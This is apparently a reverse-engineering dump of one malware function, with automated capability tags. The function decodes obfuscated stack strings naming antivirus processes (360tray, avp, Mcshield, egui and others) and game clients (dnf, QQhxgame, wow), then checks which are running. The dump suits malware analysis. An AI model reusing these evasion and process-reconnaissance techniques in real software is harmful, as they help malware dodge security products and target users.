Function at 0x1000ceca
Capabilities:
Contain obfuscated stackstrings
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xec
push ebx
xor ebx, ebx
push esi
push edi
mov byte [ebp - 0x94], 0x33
mov byte [ebp - 0x93], 0x36
mov byte [ebp - 0x92], 0x30
mov byte [ebp - 0x91], 0x74
mov byte [ebp - 0x90], 0x72
mov byte [ebp - 0x8f], 0x61
mov byte [ebp - 0x8e], 0x79
mov byte [ebp - 0x8d], 0x2e
mov byte [ebp - 0x8c], 0x65
mov byte [ebp - 0x8b], 0x78
mov byte [ebp - 0x8a], 0x65
mov byte [ebp - 0x89], bl
mov byte [ebp - 0x40], 0x61
mov byte [ebp - 0x3f], 0x76
mov byte [ebp - 0x3e], 0x70
mov byte [ebp - 0x3d], 0x2e
mov byte [ebp - 0x3c], 0x65
mov byte [ebp - 0x3b], 0x78
mov byte [ebp - 0x3a], 0x65
mov byte [ebp - 0x39], bl
mov byte [ebp - 0x88], 0x4b
mov byte [ebp - 0x87], 0x76
mov byte [ebp - 0x86], 0x4d
mov byte [ebp - 0x85], 0x6f
mov byte [ebp - 0x84], 0x6e
mov byte [ebp - 0x83], 0x58
mov byte [ebp - 0x82], 0x50
mov byte [ebp - 0x81], 0x2e
mov byte [ebp - 0x80], 0x65
mov byte [ebp - 0x7f], 0x78
mov byte [ebp - 0x7e], 0x65
mov byte [ebp - 0x7d], bl
mov byte [ebp - 0xac], 0x52
mov byte [ebp - 0xab], 0x61
mov byte [ebp - 0xaa], 0x76
mov byte [ebp - 0xa9], 0x4d
mov byte [ebp - 0xa8], 0x6f
mov byte [ebp - 0xa7], 0x6e
mov byte [ebp - 0xa6], 0x44
mov byte [ebp - 0xa5], 0x2e
mov byte [ebp - 0xa4], 0x65
mov byte [ebp - 0xa3], 0x78
mov byte [ebp - 0xa2], 0x65
mov byte [ebp - 0xa1], bl
mov byte [ebp - 0x58], 0x33
mov byte [ebp - 0x57], 0x36
mov byte [ebp - 0x56], 0x30
mov byte [ebp - 0x55], 0x73
mov byte [ebp - 0x54], 0x64
mov byte [ebp - 0x53], 0x2e
mov byte [ebp - 0x52], 0x65
mov byte [ebp - 0x51], 0x78
mov byte [ebp - 0x50], 0x65
mov byte [ebp - 0x4f], bl
mov byte [ebp - 0xbc], 0x4d
mov byte [ebp - 0xbb], 0x63
mov byte [ebp - 0xba], 0x73
mov byte [ebp - 0xb9], 0x68
mov byte [ebp - 0xb8], 0x69
mov byte [ebp - 0xb7], 0x65
mov byte [ebp - 0xb6], 0x6c
mov byte [ebp - 0xb5], 0x64
mov byte [ebp - 0xb4], 0x2e
mov byte [ebp - 0xb3], 0x65
mov byte [ebp - 0xb2], 0x78
mov byte [ebp - 0xb1], 0x65
mov byte [ebp - 0xb0], bl
mov byte [ebp - 0x4c], 0x65
mov byte [ebp - 0x4b], 0x67
mov byte [ebp - 0x4a], 0x75
mov byte [ebp - 0x49], 0x69
mov byte [ebp - 0x48], 0x2e
mov byte [ebp - 0x47], 0x65
mov byte [ebp - 0x46], 0x78
mov byte [ebp - 0x45], 0x65
mov byte [ebp - 0x44], bl
mov byte [ebp - 0xa0], 0x6b
lea eax, [ebp - 0x94]
mov byte [ebp - 0x9f], 0x78
push eax
mov byte [ebp - 0x9e], 0x65
mov byte [ebp - 0x9d], 0x74
mov byte [ebp - 0x9c], 0x72
mov byte [ebp - 0x9b], 0x61
mov byte [ebp - 0x9a], 0x79
mov byte [ebp - 0x99], 0x2e
mov byte [ebp - 0x98], 0x65
mov byte [ebp - 0x97], 0x78
mov byte [ebp - 0x96], 0x65
mov byte [ebp - 0x95], bl
mov byte [ebp - 0xdc], 0x6b
mov byte [ebp - 0xdb], 0x6e
mov byte [ebp - 0xda], 0x73
mov byte [ebp - 0xd9], 0x64
mov byte [ebp - 0xd8], 0x74
mov byte [ebp - 0xd7], 0x72
mov byte [ebp - 0xd6], 0x61
mov byte [ebp - 0xd5], 0x79
mov byte [ebp - 0xd4], 0x2e
mov byte [ebp - 0xd3], 0x65
mov byte [ebp - 0xd2], 0x78
mov byte [ebp - 0xd1], 0x65
mov byte [ebp - 0xd0], bl
mov byte [ebp - 0x70], 0x54
mov byte [ebp - 0x6f], 0x4d
mov byte [ebp - 0x6e], 0x42
mov byte [ebp - 0x6d], 0x4d
mov byte [ebp - 0x6c], 0x53
mov byte [ebp - 0x6b], 0x52
mov byte [ebp - 0x6a], 0x56
mov byte [ebp - 0x69], 0x2e
mov byte [ebp - 0x68], 0x65
mov byte [ebp - 0x67], 0x78
mov byte [ebp - 0x66], 0x65
mov byte [ebp - 0x65], bl
mov byte [ebp - 0xcc], 0x61
mov byte [ebp - 0xcb], 0x76
mov byte [ebp - 0xca], 0x63
mov byte [ebp - 0xc9], 0x65
mov byte [ebp - 0xc8], 0x6e
mov byte [ebp - 0xc7], 0x74
mov byte [ebp - 0xc6], 0x65
mov byte [ebp - 0xc5], 0x72
mov byte [ebp - 0xc4], 0x2e
mov byte [ebp - 0xc3], 0x65
mov byte [ebp - 0xc2], 0x78
mov byte [ebp - 0xc1], 0x65
mov byte [ebp - 0xc0], bl
mov byte [ebp - 0x7c], 0x61
mov byte [ebp - 0x7b], 0x73
mov byte [ebp - 0x7a], 0x68
mov byte [ebp - 0x79], 0x44
mov byte [ebp - 0x78], 0x69
mov byte [ebp - 0x77], 0x73
mov byte [ebp - 0x76], 0x70
mov byte [ebp - 0x75], 0x2e
mov byte [ebp - 0x74], 0x65
mov byte [ebp - 0x73], 0x78
mov byte [ebp - 0x72], 0x65
mov byte [ebp - 0x71], bl
call fcn.1000e68c
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
pop ecx
test eax, eax
mov esi, 0x10015d34
je 0x1000d245
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
push 0x10002734
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 4
lea eax, [ebp - 0x94]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10002728
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0x40]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d272
push 4
lea eax, [ebp - 0x40]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10002720
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0x88]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d2a5
push 4
lea eax, [ebp - 0x88]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10002718
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0xac]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d2d8
push 4
lea eax, [ebp - 0xac]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10002710
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0x58]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d305
push 4
lea eax, [ebp - 0x58]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10002708
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0xbc]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d338
push 4
lea eax, [ebp - 0xbc]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10002700
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0x4c]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d365
push 4
lea eax, [ebp - 0x4c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100026f8
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0xa0]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d398
push 4
lea eax, [ebp - 0xa0]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100026f0
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0xdc]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d3cb
push 4
lea eax, [ebp - 0xdc]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100026e8
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0x70]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d3f8
push 4
lea eax, [ebp - 0x70]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100026e0
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0xcc]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d42b
push 4
lea eax, [ebp - 0xcc]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100026d8
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0x7c]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d458
push 4
lea eax, [ebp - 0x7c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100026d0
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 8]
mov byte [ebp - 8], 0x6d
push eax
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x78
mov byte [ebp - 3], 0x65
mov byte [ebp - 2], bl
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], 0x70
mov byte [ebp - 0xe], 0x2e
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x78
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], bl
mov byte [ebp - 0x64], 0x6d
mov byte [ebp - 0x63], 0x64
mov byte [ebp - 0x62], 0x6d
mov byte [ebp - 0x61], 0x33
mov byte [ebp - 0x60], 0x36
mov byte [ebp - 0x5f], 0x35
mov byte [ebp - 0x5e], 0x2e
mov byte [ebp - 0x5d], 0x65
mov byte [ebp - 0x5c], 0x78
mov byte [ebp - 0x5b], 0x65
mov byte [ebp - 0x5a], bl
mov byte [ebp - 0x28], 0x64
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x66
mov byte [ebp - 0x25], 0x2e
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x78
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x18], 0x78
mov byte [ebp - 0x17], 0x79
mov byte [ebp - 0x16], 0x32
mov byte [ebp - 0x15], 0x2e
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x78
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], bl
mov byte [ebp - 0x38], 0x78
mov byte [ebp - 0x37], 0x79
mov byte [ebp - 0x36], 0x33
mov byte [ebp - 0x35], 0x2e
mov byte [ebp - 0x34], 0x65
mov byte [ebp - 0x33], 0x78
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], bl
mov byte [ebp - 0xec], 0x51
mov byte [ebp - 0xeb], 0x51
mov byte [ebp - 0xea], 0x68
mov byte [ebp - 0xe9], 0x78
mov byte [ebp - 0xe8], 0x67
mov byte [ebp - 0xe7], 0x61
mov byte [ebp - 0xe6], 0x6d
mov byte [ebp - 0xe5], 0x65
mov byte [ebp - 0xe4], 0x2e
mov byte [ebp - 0xe3], 0x65
mov byte [ebp - 0xe2], 0x78
mov byte [ebp - 0xe1], 0x65
mov byte [ebp - 0xe0], bl
mov byte [ebp - 0x20], 0x77
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x77
mov byte [ebp - 0x1d], 0x2e
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x78
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], bl
mov byte [ebp - 0x30], 0x74
mov byte [ebp - 0x2f], 0x77
mov byte [ebp - 0x2e], 0x32
mov byte [ebp - 0x2d], 0x2e
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x78
mov byte [ebp - 0x2a], 0x65
mov byte [ebp - 0x29], bl
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d5db
push 4
lea eax, [ebp - 8]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100026c4
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0x10]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d608
push 4
lea eax, [ebp - 0x10]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100026b8
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0x64]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d635
push 4
lea eax, [ebp - 0x64]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100026ac
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0x28]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d662
push 4
lea eax, [ebp - 0x28]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x1000269c
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0x18]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d68f
push 4
lea eax, [ebp - 0x18]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10002690
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0x38]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d6bc
push 4
lea eax, [ebp - 0x38]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10002684
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0xec]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d6ef
push 4
lea eax, [ebp - 0xec]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x1000267c
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0x20]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d71c
push 4
lea eax, [ebp - 0x20]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10002670
push esi
call edi
push 0x100015bc
push esi
call edi
lea eax, [ebp - 0x30]
push eax
call fcn.1000e68c
test eax, eax
pop ecx
je 0x1000d749
push 4
lea eax, [ebp - 0x30]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10002668
push esi
call edi
push 0x100015bc
push esi
call edi
push 0x100015bc
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
jne 0x1000d763
push 0x10002660
push esi
call edi
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret